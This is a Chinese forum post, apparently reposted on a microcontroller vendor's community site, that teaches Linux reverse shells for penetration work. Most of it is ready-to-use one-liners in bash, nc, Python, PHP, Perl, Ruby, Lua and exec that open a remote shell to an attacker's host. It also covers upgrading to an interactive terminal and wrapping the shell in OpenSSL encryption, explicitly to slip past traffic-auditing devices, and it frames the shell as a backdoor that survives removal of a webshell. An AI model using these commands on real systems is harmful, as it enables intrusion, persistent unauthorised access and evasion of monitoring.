你的浏览器版本过低,可能导致网站不能正常访问!
为了你能正常使用网站功能,请使用这些浏览器。

linux反弹shell

[复制链接]
gaosmile 发布时间:2020-9-15 21:12

什么是shell

shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。

百度百科解释的shell:

在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界

面”的软件(命令解析器)。它类似于DOS下的command.com和后来的

cmd.exe。它接收用户命令,然后调用相应的应用程序。

简单说用户通过壳访问操作系统内核的服务,也就是由壳到内核,执行系统命令。

getshell:获取到目标的命令执行权限

webshell:指网站后门,通过web服务进行命令执行

反弹shell:把命令行的输入输出转移到其它主机

为什么要反弹shell

1、webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
2、反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。

常用linux反弹shell的方式

使用whereis命令去确定目标支持的反弹方法。

whereis nc bash python php exec lua perl ruby

微信图片_20200915210430.png

bash反弹shell

bash反弹是实战中用的最多的方法

nc -lvp 9999
bash -i >& /dev/tcp/ip/port 0>&1

把命令拆开分析:
1、bash -i代表在本地打开一个bash
2、/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
3、>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
4、远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

nc反弹shell

需要目标主机安装了nc

nc ip port -e /bin/sh

使用其他版本的 nc

nc.traditional ip port -e /bin/sh
微信图片_20200915210435.png

配合命名管道进行反弹:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc ip port >/tmp/f


微信图片_20200915210438.png
微信图片_20200915210441.png

python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

微信图片_20200915210444.png
微信图片_20200915210448.png
首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,打印出来数值为3
微信图片_20200915210451.png
0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

php反弹shell

需要php关闭safe_mode选项,才可以使用exec函数。
使用php的exec函数执行方法1反弹shell的命令

php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'

使用php的fsockopen去反弹shell

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

其它反弹方法

exec反弹

0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196

perl反弹

perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby反弹

ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

获取一个完全交互shell

通过上述命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为'哑'shell。
通常存在以下缺点

  • ctrl-c会中断会话
  • 无法正常使用vim等文本编辑器
  • 没有向上箭头使用历史
  • 无法执行交互式命令
  • 无法查看错误输出
  • 无法使用 tab 命令补全
  • 无法操控jobcontrol


因此有必要去获取一个完全交互的shell。
1、在shell 中执行python,使用pty模块,创建一个原生的终端,命令如下:

python -c 'import pty; pty.spawn("/bin/bash")'


隐藏

微信图片_20200915210455.png
运行完后
2、键入 Ctrl-Z暂停任务,切回到 VPS 的命令行中;在 VPS 中执行:

stty raw -echo     
fg         #将后台运行或挂起的任务切换到前台运行


微信图片_20200915210458.png
3、在 shell 中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim编辑等功能。

reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104


微信图片_20200915210501.png

SSL流量加密

部分防护设备会对内外网传输流量进行审查,反弹shell执行命令都是以明文进行传输的,很容易被查杀。
因此需要将原始流量使用 openssl 加密,绕过流量审计设备。
微信图片_20200915210505.png
1、首先vps上生成SSL证书的公钥/私钥对,信息懒得填,一直回车即可。

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes


微信图片_20200915210509.png
2、vps使用 OpenSSL 监听一个端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888


微信图片_20200915210513.png
3、目标主机执行反弹加密shell

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

微信图片_20200915210516.png
反弹成功,成功接收到ssl流量加密的shell。

微信图片_20200915210520.png


收藏 评论0 发布时间:2020-9-15 21:12

举报

0个回答

所属标签

STM32团队

意法半导体微控制器和微处理器拥有广泛的产品线,包含低成本的8位单片机和基于ARM® Cortex®-M0、M0+、M3、M4、M33、M7及A7内核并具备丰富外设选择的32位微控制器及微处理器


最新内容

关于
我们是谁
投资者关系
意法半导体可持续发展举措
创新与技术
意法半导体官网
联系我们
联系ST分支机构
寻找销售人员和分销渠道
社区
媒体中心
活动与培训
隐私策略
隐私策略
Cookies管理
行使您的权利
官方最新发布
STM32N6 AI生态系统
STM32MCU,MPU高性能GUI
ST ACEPACK电源模块
意法半导体生物传感器
STM32Cube扩展软件包
关注我们
微信公众号二维码 微信公众号
手机版二维码 手机版